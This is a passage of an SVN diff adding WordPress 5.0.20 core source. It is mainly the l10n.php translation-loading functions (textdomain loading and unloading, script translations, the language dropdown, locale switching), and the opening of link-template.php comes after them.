+function _nx_noop( $singular, $plural, $context, $domain = null ) {
+	return array( 0 => $singular, 1 => $plural, 2 => $context, 'singular' => $singular, 'plural' => $plural, 'context' => $context, 'domain' => $domain );
+}
+
+/**
+ * Translates and retrieves the singular or plural form of a string that's been registered
+ * with _n_noop() or _nx_noop().
+ *
+ * Used when you want to use a translatable plural string once the number is known.
+ *
+ * Example:
+ *
+ *     $message = _n_noop( '%s post', '%s posts', 'text-domain' );
+ *     ...
+ *     printf( translate_nooped_plural( $message, $count, 'text-domain' ), number_format_i18n( $count ) );
+ *
+ * @since 3.1.0
+ *
+ * @param array  $nooped_plural Array with singular, plural, and context keys, usually the result of _n_noop() or _nx_noop().
+ * @param int    $count         Number of objects.
+ * @param string $domain        Optional. Text domain. Unique identifier for retrieving translated strings. If $nooped_plural contains
+ *                              a text domain passed to _n_noop() or _nx_noop(), it will override this value. Default 'default'.
+ * @return string Either $single or $plural translated text.
+ */
+function translate_nooped_plural( $nooped_plural, $count, $domain = 'default' ) {
+	if ( $nooped_plural['domain'] )
+		$domain = $nooped_plural['domain'];
+
+	if ( $nooped_plural['context'] )
+		return _nx( $nooped_plural['singular'], $nooped_plural['plural'], $count, $nooped_plural['context'], $domain );
+	else
+		return _n( $nooped_plural['singular'], $nooped_plural['plural'], $count, $domain );
+}
+
+/**
+ * Load a .mo file into the text domain $domain.
+ *
+ * If the text domain already exists, the translations will be merged. If both
+ * sets have the same string, the translation from the original value will be taken.
+ *
+ * On success, the .mo file will be placed in the $l10n global by $domain
+ * and will be a MO object.
+ *
+ * @since 1.5.0
+ *
+ * @global array $l10n          An array of all currently loaded text domains.
+ * @global array $l10n_unloaded An array of all text domains that have been unloaded again.
+ *
+ * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+ * @param string $mofile Path to the .mo file.
+ * @return bool True on success, false on failure.
+ */
+function load_textdomain( $domain, $mofile ) {
+	global $l10n, $l10n_unloaded;
+
+	$l10n_unloaded = (array) $l10n_unloaded;
+
+	/**
+	 * Filters whether to override the .mo file loading.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param bool   $override Whether to override the .mo file loading. Default false.
+	 * @param string $domain   Text domain. Unique identifier for retrieving translated strings.
+	 * @param string $mofile   Path to the MO file.
+	 */
+	$plugin_override = apply_filters( 'override_load_textdomain', false, $domain, $mofile );
+
+	if ( true == $plugin_override ) {
+		unset( $l10n_unloaded[ $domain ] );
+
+		return true;
+	}
+
+	/**
+	 * Fires before the MO translation file is loaded.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+	 * @param string $mofile Path to the .mo file.
+	 */
+	do_action( 'load_textdomain', $domain, $mofile );
+
+	/**
+	 * Filters MO file path for loading translations for a specific text domain.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $mofile Path to the MO file.
+	 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+	 */
+	$mofile = apply_filters( 'load_textdomain_mofile', $mofile, $domain );
+
+	if ( !is_readable( $mofile ) ) return false;
+
+	$mo = new MO();
+	if ( !$mo->import_from_file( $mofile ) ) return false;
+
+	if ( isset( $l10n[$domain] ) )
+		$mo->merge_with( $l10n[$domain] );
+
+	unset( $l10n_unloaded[ $domain ] );
+
+	$l10n[$domain] = &$mo;
+
+	return true;
+}
+
+/**
+ * Unload translations for a text domain.
+ *
+ * @since 3.0.0
+ *
+ * @global array $l10n          An array of all currently loaded text domains.
+ * @global array $l10n_unloaded An array of all text domains that have been unloaded again.
+ *
+ * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+ * @return bool Whether textdomain was unloaded.
+ */
+function unload_textdomain( $domain ) {
+	global $l10n, $l10n_unloaded;
+
+	$l10n_unloaded = (array) $l10n_unloaded;
+
+	/**
+	 * Filters whether to override the text domain unloading.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param bool   $override Whether to override the text domain unloading. Default false.
+	 * @param string $domain   Text domain. Unique identifier for retrieving translated strings.
+	 */
+	$plugin_override = apply_filters( 'override_unload_textdomain', false, $domain );
+
+	if ( $plugin_override ) {
+		$l10n_unloaded[ $domain ] = true;
+
+		return true;
+	}
+
+	/**
+	 * Fires before the text domain is unloaded.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+	 */
+	do_action( 'unload_textdomain', $domain );
+
+	if ( isset( $l10n[$domain] ) ) {
+		unset( $l10n[$domain] );
+
+		$l10n_unloaded[ $domain ] = true;
+
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Load default translated strings based on locale.
+ *
+ * Loads the .mo file in WP_LANG_DIR constant path from WordPress root.
+ * The translated (.mo) file is named based on the locale.
+ *
+ * @see load_textdomain()
+ *
+ * @since 1.5.0
+ *
+ * @param string $locale Optional. Locale to load. Default is the value of get_locale().
+ * @return bool Whether the textdomain was loaded.
+ */
+function load_default_textdomain( $locale = null ) {
+	if ( null === $locale ) {
+		$locale = determine_locale();
+	}
+
+	// Unload previously loaded strings so we can switch translations.
+	unload_textdomain( 'default' );
+
+	$return = load_textdomain( 'default', WP_LANG_DIR . "/$locale.mo" );
+
+	if ( ( is_multisite() || ( defined( 'WP_INSTALLING_NETWORK' ) && WP_INSTALLING_NETWORK ) ) && ! file_exists(  WP_LANG_DIR . "/admin-$locale.mo" ) ) {
+		load_textdomain( 'default', WP_LANG_DIR . "/ms-$locale.mo" );
+		return $return;
+	}
+
+	if ( is_admin() || wp_installing() || ( defined( 'WP_REPAIRING' ) && WP_REPAIRING ) ) {
+		load_textdomain( 'default', WP_LANG_DIR . "/admin-$locale.mo" );
+	}
+
+	if ( is_network_admin() || ( defined( 'WP_INSTALLING_NETWORK' ) && WP_INSTALLING_NETWORK ) )
+		load_textdomain( 'default', WP_LANG_DIR . "/admin-network-$locale.mo" );
+
+	return $return;
+}
+
+/**
+ * Loads a plugin's translated strings.
+ *
+ * If the path is not given then it will be the root of the plugin directory.
+ *
+ * The .mo file should be named based on the text domain with a dash, and then the locale exactly.
+ *
+ * @since 1.5.0
+ * @since 4.6.0 The function now tries to load the .mo file from the languages directory first.
+ *
+ * @param string $domain          Unique identifier for retrieving translated strings
+ * @param string $deprecated      Optional. Use the $plugin_rel_path parameter instead. Default false.
+ * @param string $plugin_rel_path Optional. Relative path to WP_PLUGIN_DIR where the .mo file resides.
+ *                                Default false.
+ * @return bool True when textdomain is successfully loaded, false otherwise.
+ */
+function load_plugin_textdomain( $domain, $deprecated = false, $plugin_rel_path = false ) {
+	/**
+	 * Filters a plugin's locale.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $locale The plugin's current locale.
+	 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+	 */
+	$locale = apply_filters( 'plugin_locale', determine_locale(), $domain );
+
+	$mofile = $domain . '-' . $locale . '.mo';
+
+	// Try to load from the languages directory first.
+	if ( load_textdomain( $domain, WP_LANG_DIR . '/plugins/' . $mofile ) ) {
+		return true;
+	}
+
+	if ( false !== $plugin_rel_path ) {
+		$path = WP_PLUGIN_DIR . '/' . trim( $plugin_rel_path, '/' );
+	} elseif ( false !== $deprecated ) {
+		_deprecated_argument( __FUNCTION__, '2.7.0' );
+		$path = ABSPATH . trim( $deprecated, '/' );
+	} else {
+		$path = WP_PLUGIN_DIR;
+	}
+
+	return load_textdomain( $domain, $path . '/' . $mofile );
+}
+
+/**
+ * Load the translated strings for a plugin residing in the mu-plugins directory.
+ *
+ * @since 3.0.0
+ * @since 4.6.0 The function now tries to load the .mo file from the languages directory first.
+ *
+ * @param string $domain             Text domain. Unique identifier for retrieving translated strings.
+ * @param string $mu_plugin_rel_path Optional. Relative to `WPMU_PLUGIN_DIR` directory in which the .mo
+ *                                   file resides. Default empty string.
+ * @return bool True when textdomain is successfully loaded, false otherwise.
+ */
+function load_muplugin_textdomain( $domain, $mu_plugin_rel_path = '' ) {
+	/** This filter is documented in wp-includes/l10n.php */
+	$locale = apply_filters( 'plugin_locale', determine_locale(), $domain );
+
+	$mofile = $domain . '-' . $locale . '.mo';
+
+	// Try to load from the languages directory first.
+	if ( load_textdomain( $domain, WP_LANG_DIR . '/plugins/' . $mofile ) ) {
+		return true;
+	}
+
+	$path = WPMU_PLUGIN_DIR . '/' . ltrim( $mu_plugin_rel_path, '/' );
+
+	return load_textdomain( $domain, $path . '/' . $mofile );
+}
+
+/**
+ * Load the theme's translated strings.
+ *
+ * If the current locale exists as a .mo file in the theme's root directory, it
+ * will be included in the translated strings by the $domain.
+ *
+ * The .mo files must be named based on the locale exactly.
+ *
+ * @since 1.5.0
+ * @since 4.6.0 The function now tries to load the .mo file from the languages directory first.
+ *
+ * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+ * @param string $path   Optional. Path to the directory containing the .mo file.
+ *                       Default false.
+ * @return bool True when textdomain is successfully loaded, false otherwise.
+ */
+function load_theme_textdomain( $domain, $path = false ) {
+	/**
+	 * Filters a theme's locale.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $locale The theme's current locale.
+	 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+	 */
+	$locale = apply_filters( 'theme_locale', determine_locale(), $domain );
+
+	$mofile = $domain . '-' . $locale . '.mo';
+
+	// Try to load from the languages directory first.
+	if ( load_textdomain( $domain, WP_LANG_DIR . '/themes/' . $mofile ) ) {
+		return true;
+	}
+
+	if ( ! $path ) {
+		$path = get_template_directory();
+	}
+
+	return load_textdomain( $domain, $path . '/' . $locale . '.mo' );
+}
+
+/**
+ * Load the child themes translated strings.
+ *
+ * If the current locale exists as a .mo file in the child themes
+ * root directory, it will be included in the translated strings by the $domain.
+ *
+ * The .mo files must be named based on the locale exactly.
+ *
+ * @since 2.9.0
+ *
+ * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+ * @param string $path   Optional. Path to the directory containing the .mo file.
+ *                       Default false.
+ * @return bool True when the theme textdomain is successfully loaded, false otherwise.
+ */
+function load_child_theme_textdomain( $domain, $path = false ) {
+	if ( ! $path )
+		$path = get_stylesheet_directory();
+	return load_theme_textdomain( $domain, $path );
+}
+
+/**
+ * Loads the script translated strings.
+ *
+ * @since 5.0.0
+ * @since 5.0.2 Uses load_script_translations() to load translation data.
+ *
+ * @see WP_Scripts::set_translations()
+ *
+ * @param string $handle Name of the script to register a translation domain to.
+ * @param string $domain The text domain.
+ * @param string $path   Optional. The full file path to the directory containing translation files.
+ *
+ * @return false|string False if the script textdomain could not be loaded, the translated strings
+ *                      in JSON encoding otherwise.
+ */
+function load_script_textdomain( $handle, $domain, $path = null ) {
+	$wp_scripts = wp_scripts();
+
+	if ( ! isset( $wp_scripts->registered[ $handle ] ) ) {
+		return false;
+	}
+
+	$path   = untrailingslashit( $path );
+	$locale = determine_locale();
+
+	// If a path was given and the handle file exists simply return it.
+	$file_base       = $domain === 'default' ? $locale : $domain . '-' . $locale;
+	$handle_filename = $file_base . '-' . $handle . '.json';
+
+	if ( $path ) {
+		$translations = load_script_translations( $path . '/' . $handle_filename, $handle, $domain );
+
+		if ( $translations ) {
+			return $translations;
+		}
+	}
+
+	$src = $wp_scripts->registered[ $handle ]->src;
+
+	if ( ! preg_match( '|^(https?:)?//|', $src ) && ! ( $wp_scripts->content_url && 0 === strpos( $src, $wp_scripts->content_url ) ) ) {
+		$src = $wp_scripts->base_url . $src;
+	}
+
+	$relative       = false;
+	$languages_path = WP_LANG_DIR;
+
+	$src_url     = wp_parse_url( $src );
+	$content_url = wp_parse_url( content_url() );
+	$site_url    = wp_parse_url( site_url() );
+
+	// If the host is the same or it's a relative URL.
+	if (
+		strpos( $src_url['path'], $content_url['path'] ) === 0 &&
+		( ! isset( $src_url['host'] ) || $src_url['host'] === $content_url['host'] )
+	) {
+		// Make the src relative the specific plugin or theme.
+		$relative = trim( substr( $src_url['path'], strlen( $content_url['path'] ) ), '/' );
+		$relative = explode( '/', $relative );
+
+		$languages_path = WP_LANG_DIR . '/' . $relative[0];
+
+		$relative = array_slice( $relative, 2 );
+		$relative = implode( '/', $relative );
+	} elseif ( ! isset( $src_url['host'] ) || $src_url['host'] === $site_url['host'] ) {
+		if ( ! isset( $site_url['path'] ) ) {
+			$relative = trim( $src_url['path'], '/' );
+		} elseif ( ( strpos( $src_url['path'], trailingslashit( $site_url['path'] ) ) === 0 ) ) {
+			// Make the src relative to the WP root.
+			$relative = substr( $src_url['path'], strlen( $site_url['path'] ) );
+			$relative = trim( $relative, '/' );
+		}
+	}
+
+	/**
+	 * Filters the relative path of scripts used for finding translation files.
+	 *
+	 * @since 5.0.2
+	 *
+	 * @param string $relative The relative path of the script. False if it could not be determined.
+	 * @param string $src      The full source url of the script.
+	 */
+	$relative = apply_filters( 'load_script_textdomain_relative_path', $relative, $src );
+
+	// If the source is not from WP.
+	if ( false === $relative ) {
+		return load_script_translations( false, $handle, $domain );
+	}
+
+	// Translations are always based on the unminified filename.
+	if ( substr( $relative, -7 ) === '.min.js' ) {
+		$relative = substr( $relative, 0, -7 ) . '.js';
+	}
+
+	$md5_filename = $file_base . '-' . md5( $relative ) . '.json';
+
+	if ( $path ) {
+		$translations = load_script_translations( $path . '/' . $md5_filename, $handle, $domain );
+
+		if ( $translations ) {
+			return $translations;
+		}
+	}
+
+	$translations = load_script_translations( $languages_path . '/' . $md5_filename, $handle, $domain );
+
+	if ( $translations ) {
+		return $translations;
+	}
+
+	return load_script_translations( false, $handle, $domain );
+}
+
+/**
+ * Loads the translation data for the given script handle and text domain.
+ *
+ * @since 5.0.2
+ *
+ * @param string|false $file   Path to the translation file to load. False if there isn't one.
+ * @param string       $handle Name of the script to register a translation domain to.
+ * @param string       $domain The text domain.
+ * @return string|false The JSON-encoded translated strings for the given script handle and text domain. False if there are none.
+ */
+function load_script_translations( $file, $handle, $domain ) {
+	/**
+	 * Pre-filters script translations for the given file, script handle and text domain.
+	 *
+	 * Returning a non-null value allows to override the default logic, effectively short-circuiting the function.
+	 *
+	 * @since 5.0.2
+	 *
+	 * @param string|false $translations JSON-encoded translation data. Default null.
+	 * @param string|false $file         Path to the translation file to load. False if there isn't one.
+	 * @param string       $handle       Name of the script to register a translation domain to.
+	 * @param string       $domain       The text domain.
+	 */
+	$translations = apply_filters( 'pre_load_script_translations', null, $file, $handle, $domain );
+
+	if ( null !== $translations ) {
+		return $translations;
+	}
+
+	/**
+	 * Filters the file path for loading script translations for the given script handle and text domain.
+	 *
+	 * @since 5.0.2
+	 *
+	 * @param string|false $file   Path to the translation file to load. False if there isn't one.
+	 * @param string       $handle Name of the script to register a translation domain to.
+	 * @param string       $domain The text domain.
+	 */
+	$file = apply_filters( 'load_script_translation_file', $file, $handle, $domain );
+
+	if ( ! $file || ! is_readable( $file ) ) {
+		return false;
+	}
+
+	$translations = file_get_contents( $file );
+
+	/**
+	 * Filters script translations for the given file, script handle and text domain.
+	 *
+	 * @since 5.0.2
+	 *
+	 * @param string $translations JSON-encoded translation data.
+	 * @param string $file         Path to the translation file that was loaded.
+	 * @param string $handle       Name of the script to register a translation domain to.
+	 * @param string $domain       The text domain.
+	 */
+	return apply_filters( 'load_script_translations', $translations, $file, $handle, $domain );
+}
+
+/**
+ * Loads plugin and theme textdomains just-in-time.
+ *
+ * When a textdomain is encountered for the first time, we try to load
+ * the translation file from `wp-content/languages`, removing the need
+ * to call load_plugin_texdomain() or load_theme_texdomain().
+ *
+ * @since 4.6.0
+ * @access private
+ *
+ * @see get_translations_for_domain()
+ * @global array $l10n_unloaded An array of all text domains that have been unloaded again.
+ *
+ * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+ * @return bool True when the textdomain is successfully loaded, false otherwise.
+ */
+function _load_textdomain_just_in_time( $domain ) {
+	global $l10n_unloaded;
+
+	$l10n_unloaded = (array) $l10n_unloaded;
+
+	// Short-circuit if domain is 'default' which is reserved for core.
+	if ( 'default' === $domain || isset( $l10n_unloaded[ $domain ] ) ) {
+		return false;
+	}
+
+	$translation_path = _get_path_to_translation( $domain );
+	if ( false === $translation_path ) {
+		return false;
+	}
+
+	return load_textdomain( $domain, $translation_path );
+}
+
+/**
+ * Gets the path to a translation file for loading a textdomain just in time.
+ *
+ * Caches the retrieved results internally.
+ *
+ * @since 4.7.0
+ * @access private
+ *
+ * @see _load_textdomain_just_in_time()
+ *
+ * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+ * @param bool   $reset  Whether to reset the internal cache. Used by the switch to locale functionality.
+ * @return string|false The path to the translation file or false if no translation file was found.
+ */
+function _get_path_to_translation( $domain, $reset = false ) {
+	static $available_translations = array();
+
+	if ( true === $reset ) {
+		$available_translations = array();
+	}
+
+	if ( ! isset( $available_translations[ $domain ] ) ) {
+		$available_translations[ $domain ] = _get_path_to_translation_from_lang_dir( $domain );
+	}
+
+	return $available_translations[ $domain ];
+}
+
+/**
+ * Gets the path to a translation file in the languages directory for the current locale.
+ *
+ * Holds a cached list of available .mo files to improve performance.
+ *
+ * @since 4.7.0
+ * @access private
+ *
+ * @see _get_path_to_translation()
+ *
+ * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+ * @return string|false The path to the translation file or false if no translation file was found.
+ */
+function _get_path_to_translation_from_lang_dir( $domain ) {
+	static $cached_mofiles = null;
+
+	if ( null === $cached_mofiles ) {
+		$cached_mofiles = array();
+
+		$locations = array(
+			WP_LANG_DIR . '/plugins',
+			WP_LANG_DIR . '/themes',
+		);
+
+		foreach ( $locations as $location ) {
+			$mofiles = glob( $location . '/*.mo' );
+			if ( $mofiles ) {
+				$cached_mofiles = array_merge( $cached_mofiles, $mofiles );
+			}
+		}
+	}
+
+	$locale = determine_locale();
+	$mofile = "{$domain}-{$locale}.mo";
+
+	$path = WP_LANG_DIR . '/plugins/' . $mofile;
+	if ( in_array( $path, $cached_mofiles ) ) {
+		return $path;
+	}
+
+	$path = WP_LANG_DIR . '/themes/' . $mofile;
+	if ( in_array( $path, $cached_mofiles ) ) {
+		return $path;
+	}
+
+	return false;
+}
+
+/**
+ * Return the Translations instance for a text domain.
+ *
+ * If there isn't one, returns empty Translations instance.
+ *
+ * @since 2.8.0
+ *
+ * @global array $l10n
+ *
+ * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+ * @return Translations|NOOP_Translations A Translations instance.
+ */
+function get_translations_for_domain( $domain ) {
+	global $l10n;
+	if ( isset( $l10n[ $domain ] ) || ( _load_textdomain_just_in_time( $domain ) && isset( $l10n[ $domain ] ) ) ) {
+		return $l10n[ $domain ];
+	}
+
+	static $noop_translations = null;
+	if ( null === $noop_translations ) {
+		$noop_translations = new NOOP_Translations;
+	}
+
+	return $noop_translations;
+}
+
+/**
+ * Whether there are translations for the text domain.
+ *
+ * @since 3.0.0
+ *
+ * @global array $l10n
+ *
+ * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+ * @return bool Whether there are translations.
+ */
+function is_textdomain_loaded( $domain ) {
+	global $l10n;
+	return isset( $l10n[ $domain ] );
+}
+
+/**
+ * Translates role name.
+ *
+ * Since the role names are in the database and not in the source there
+ * are dummy gettext calls to get them into the POT file and this function
+ * properly translates them back.
+ *
+ * The before_last_bar() call is needed, because older installations keep the roles
+ * using the old context format: 'Role name|User role' and just skipping the
+ * content after the last bar is easier than fixing them in the DB. New installations
+ * won't suffer from that problem.
+ *
+ * @since 2.8.0
+ *
+ * @param string $name The role name.
+ * @return string Translated role name on success, original name on failure.
+ */
+function translate_user_role( $name ) {
+	return translate_with_gettext_context( before_last_bar($name), 'User role' );
+}
+
+/**
+ * Get all available languages based on the presence of *.mo files in a given directory.
+ *
+ * The default directory is WP_LANG_DIR.
+ *
+ * @since 3.0.0
+ * @since 4.7.0 The results are now filterable with the {@see 'get_available_languages'} filter.
+ *
+ * @param string $dir A directory to search for language files.
+ *                    Default WP_LANG_DIR.
+ * @return array An array of language codes or an empty array if no languages are present. Language codes are formed by stripping the .mo extension from the language file names.
+ */
+function get_available_languages( $dir = null ) {
+	$languages = array();
+
+	$lang_files = glob( ( is_null( $dir ) ? WP_LANG_DIR : $dir ) . '/*.mo' );
+	if ( $lang_files ) {
+		foreach ( $lang_files as $lang_file ) {
+			$lang_file = basename( $lang_file, '.mo' );
+			if ( 0 !== strpos( $lang_file, 'continents-cities' ) && 0 !== strpos( $lang_file, 'ms-' ) &&
+				0 !== strpos( $lang_file, 'admin-' ) ) {
+				$languages[] = $lang_file;
+			}
+		}
+	}
+
+	/**
+	 * Filters the list of available language codes.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array  $languages An array of available language codes.
+	 * @param string $dir       The directory where the language files were found.
+	 */
+	return apply_filters( 'get_available_languages', $languages, $dir );
+}
+
+/**
+ * Get installed translations.
+ *
+ * Looks in the wp-content/languages directory for translations of
+ * plugins or themes.
+ *
+ * @since 3.7.0
+ *
+ * @param string $type What to search for. Accepts 'plugins', 'themes', 'core'.
+ * @return array Array of language data.
+ */
+function wp_get_installed_translations( $type ) {
+	if ( $type !== 'themes' && $type !== 'plugins' && $type !== 'core' )
+		return array();
+
+	$dir = 'core' === $type ? '' : "/$type";
+
+	if ( ! is_dir( WP_LANG_DIR ) )
+		return array();
+
+	if ( $dir && ! is_dir( WP_LANG_DIR . $dir ) )
+		return array();
+
+	$files = scandir( WP_LANG_DIR . $dir );
+	if ( ! $files )
+		return array();
+
+	$language_data = array();
+
+	foreach ( $files as $file ) {
+		if ( '.' === $file[0] || is_dir( WP_LANG_DIR . "$dir/$file" ) ) {
+			continue;
+		}
+		if ( substr( $file, -3 ) !== '.po' ) {
+			continue;
+		}
+		if ( ! preg_match( '/(?:(.+)-)?([a-z]{2,3}(?:_[A-Z]{2})?(?:_[a-z0-9]+)?).po/', $file, $match ) ) {
+			continue;
+		}
+		if ( ! in_array( substr( $file, 0, -3 ) . '.mo', $files ) )  {
+			continue;
+		}
+
+		list( , $textdomain, $language ) = $match;
+		if ( '' === $textdomain ) {
+			$textdomain = 'default';
+		}
+		$language_data[ $textdomain ][ $language ] = wp_get_pomo_file_data( WP_LANG_DIR . "$dir/$file" );
+	}
+	return $language_data;
+}
+
+/**
+ * Extract headers from a PO file.
+ *
+ * @since 3.7.0
+ *
+ * @param string $po_file Path to PO file.
+ * @return array PO file headers.
+ */
+function wp_get_pomo_file_data( $po_file ) {
+	$headers = get_file_data( $po_file, array(
+		'POT-Creation-Date'  => '"POT-Creation-Date',
+		'PO-Revision-Date'   => '"PO-Revision-Date',
+		'Project-Id-Version' => '"Project-Id-Version',
+		'X-Generator'        => '"X-Generator',
+	) );
+	foreach ( $headers as $header => $value ) {
+		// Remove possible contextual '\n' and closing double quote.
+		$headers[ $header ] = preg_replace( '~(\\\n)?"$~', '', $value );
+	}
+	return $headers;
+}
+
+/**
+ * Language selector.
+ *
+ * @since 4.0.0
+ * @since 4.3.0 Introduced the `echo` argument.
+ * @since 4.7.0 Introduced the `show_option_site_default` argument.
+ *
+ * @see get_available_languages()
+ * @see wp_get_available_translations()
+ *
+ * @param string|array $args {
+ *     Optional. Array or string of arguments for outputting the language selector.
+ *
+ *     @type string   $id                           ID attribute of the select element. Default 'locale'.
+ *     @type string   $name                         Name attribute of the select element. Default 'locale'.
+ *     @type array    $languages                    List of installed languages, contain only the locales.
+ *                                                  Default empty array.
+ *     @type array    $translations                 List of available translations. Default result of
+ *                                                  wp_get_available_translations().
+ *     @type string   $selected                     Language which should be selected. Default empty.
+ *     @type bool|int $echo                         Whether to echo the generated markup. Accepts 0, 1, or their
+ *                                                  boolean equivalents. Default 1.
+ *     @type bool     $show_available_translations  Whether to show available translations. Default true.
+ *     @type bool     $show_option_site_default     Whether to show an option to fall back to the site's locale. Default false.
+ * }
+ * @return string HTML content
+ */
+function wp_dropdown_languages( $args = array() ) {
+
+	$parsed_args = wp_parse_args( $args, array(
+		'id'           => 'locale',
+		'name'         => 'locale',
+		'languages'    => array(),
+		'translations' => array(),
+		'selected'     => '',
+		'echo'         => 1,
+		'show_available_translations' => true,
+		'show_option_site_default'    => false,
+	) );
+
+	// Bail if no ID or no name.
+	if ( ! $parsed_args['id'] || ! $parsed_args['name'] ) {
+		return;
+	}
+
+	// English (United States) uses an empty string for the value attribute.
+	if ( 'en_US' === $parsed_args['selected'] ) {
+		$parsed_args['selected'] = '';
+	}
+
+	$translations = $parsed_args['translations'];
+	if ( empty( $translations ) ) {
+		require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );
+		$translations = wp_get_available_translations();
+	}
+
+	/*
+	 * $parsed_args['languages'] should only contain the locales. Find the locale in
+	 * $translations to get the native name. Fall back to locale.
+	 */
+	$languages = array();
+	foreach ( $parsed_args['languages'] as $locale ) {
+		if ( isset( $translations[ $locale ] ) ) {
+			$translation = $translations[ $locale ];
+			$languages[] = array(
+				'language'    => $translation['language'],
+				'native_name' => $translation['native_name'],
+				'lang'        => current( $translation['iso'] ),
+			);
+
+			// Remove installed language from available translations.
+			unset( $translations[ $locale ] );
+		} else {
+			$languages[] = array(
+				'language'    => $locale,
+				'native_name' => $locale,
+				'lang'        => '',
+			);
+		}
+	}
+
+	$translations_available = ( ! empty( $translations ) && $parsed_args['show_available_translations'] );
+
+	// Holds the HTML markup.
+	$structure = array();
+
+	// List installed languages.
+	if ( $translations_available ) {
+		$structure[] = '<optgroup label="' . esc_attr_x( 'Installed', 'translations' ) . '">';
+	}
+
+	// Site default.
+	if ( $parsed_args['show_option_site_default'] ) {
+		$structure[] = sprintf(
+			'<option value="site-default" data-installed="1"%s>%s</option>',
+			selected( 'site-default', $parsed_args['selected'], false ),
+			_x( 'Site Default', 'default site language' )
+		);
+	}
+
+	// Always show English.
+	$structure[] = sprintf(
+		'<option value="" lang="en" data-installed="1"%s>English (United States)</option>',
+		selected( '', $parsed_args['selected'], false )
+	);
+
+	// List installed languages.
+	foreach ( $languages as $language ) {
+		$structure[] = sprintf(
+			'<option value="%s" lang="%s"%s data-installed="1">%s</option>',
+			esc_attr( $language['language'] ),
+			esc_attr( $language['lang'] ),
+			selected( $language['language'], $parsed_args['selected'], false ),
+			esc_html( $language['native_name'] )
+		);
+	}
+	if ( $translations_available ) {
+		$structure[] = '</optgroup>';
+	}
+
+	// List available translations.
+	if ( $translations_available ) {
+		$structure[] = '<optgroup label="' . esc_attr_x( 'Available', 'translations' ) . '">';
+		foreach ( $translations as $translation ) {
+			$structure[] = sprintf(
+				'<option value="%s" lang="%s"%s>%s</option>',
+				esc_attr( $translation['language'] ),
+				esc_attr( current( $translation['iso'] ) ),
+				selected( $translation['language'], $parsed_args['selected'], false ),
+				esc_html( $translation['native_name'] )
+			);
+		}
+		$structure[] = '</optgroup>';
+	}
+
+	// Combine the output string.
+	$output  = sprintf( '<select name="%s" id="%s">', esc_attr( $parsed_args['name'] ), esc_attr( $parsed_args['id'] ) );
+	$output .= join( "\n", $structure );
+	$output .= '</select>';
+
+	if ( $parsed_args['echo'] ) {
+		echo $output;
+	}
+
+	return $output;
+}
+
+/**
+ * Determines whether the current locale is right-to-left (RTL).
+ *
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 3.0.0
+ *
+ * @global WP_Locale $wp_locale
+ *
+ * @return bool Whether locale is RTL.
+ */
+function is_rtl() {
+	global $wp_locale;
+	if ( ! ( $wp_locale instanceof WP_Locale ) ) {
+		return false;
+	}
+	return $wp_locale->is_rtl();
+}
+
+/**
+ * Switches the translations according to the given locale.
+ *
+ * @since 4.7.0
+ *
+ * @global WP_Locale_Switcher $wp_locale_switcher
+ *
+ * @param string $locale The locale.
+ * @return bool True on success, false on failure.
+ */
+function switch_to_locale( $locale ) {
+	/* @var WP_Locale_Switcher $wp_locale_switcher */
+	global $wp_locale_switcher;
+
+	return $wp_locale_switcher->switch_to_locale( $locale );
+}
+
+/**
+ * Restores the translations according to the previous locale.
+ *
+ * @since 4.7.0
+ *
+ * @global WP_Locale_Switcher $wp_locale_switcher
+ *
+ * @return string|false Locale on success, false on error.
+ */
+function restore_previous_locale() {
+	/* @var WP_Locale_Switcher $wp_locale_switcher */
+	global $wp_locale_switcher;
+
+	return $wp_locale_switcher->restore_previous_locale();
+}
+
+/**
+ * Restores the translations according to the original locale.
+ *
+ * @since 4.7.0
+ *
+ * @global WP_Locale_Switcher $wp_locale_switcher
+ *
+ * @return string|false Locale on success, false on error.
+ */
+function restore_current_locale() {
+	/* @var WP_Locale_Switcher $wp_locale_switcher */
+	global $wp_locale_switcher;
+
+	return $wp_locale_switcher->restore_current_locale();
+}
+
+/**
+ * Whether switch_to_locale() is in effect.
+ *
+ * @since 4.7.0
+ *
+ * @global WP_Locale_Switcher $wp_locale_switcher
+ *
+ * @return bool True if the locale has been switched, false otherwise.
+ */
+function is_locale_switched() {
+	/* @var WP_Locale_Switcher $wp_locale_switcher */
+	global $wp_locale_switcher;
+
+	return $wp_locale_switcher->is_switched();
+}
Index: /tags/5.0.20/src/wp-includes/link-template.php
===================================================================
--- /tags/5.0.20/src/wp-includes/link-template.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/link-template.php	(revision 56912)
@@ -0,0 +1,4189 @@
+<?php
+/**
+ * WordPress Link Template Functions
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Displays the permalink for the current post.
+ *
+ * @since 1.2.0
+ * @since 4.4.0 Added the `$post` parameter.
+ *
+ * @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
+ */
+function the_permalink( $post = 0 ) {
+	/**
+	 * Filters the display of the permalink for the current post.
+	 *
+	 * @since 1.5.0
+	 * @since 4.4.0 Added the `$post` parameter.
+	 *
+	 * @param string      $permalink The permalink for the current post.
+	 * @param int|WP_Post $post      Post ID, WP_Post object, or 0. Default 0.
+	 */
